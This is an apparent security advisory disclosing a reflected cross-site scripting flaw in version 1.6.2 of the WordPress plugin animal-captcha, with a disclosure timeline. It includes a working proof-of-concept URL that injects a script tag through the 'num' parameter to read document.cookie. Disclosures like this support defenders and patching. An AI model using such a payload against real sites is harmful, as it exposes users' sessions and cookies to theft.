wp-plugin : animal-captcha – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : animal-captcha

 

Effected Version : 1.6.2 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Anant Shrivastava

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 
http://localhost/wp-content/plugins/animal-captcha/source/example.php?num=num'><script>alert(document.cookie)</script>&

 

Vulnerable Parameter : num

 

Type of XSS : Reflected

 

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-04

 
Plugin Status : Closed
 
Public Disclosure : July 7, 2014
 
CVE Number : Not assigned yet

 
Plugin Description :
 
Captcha Animal protects your user registration and comments with a test of identifying two friendly animals.

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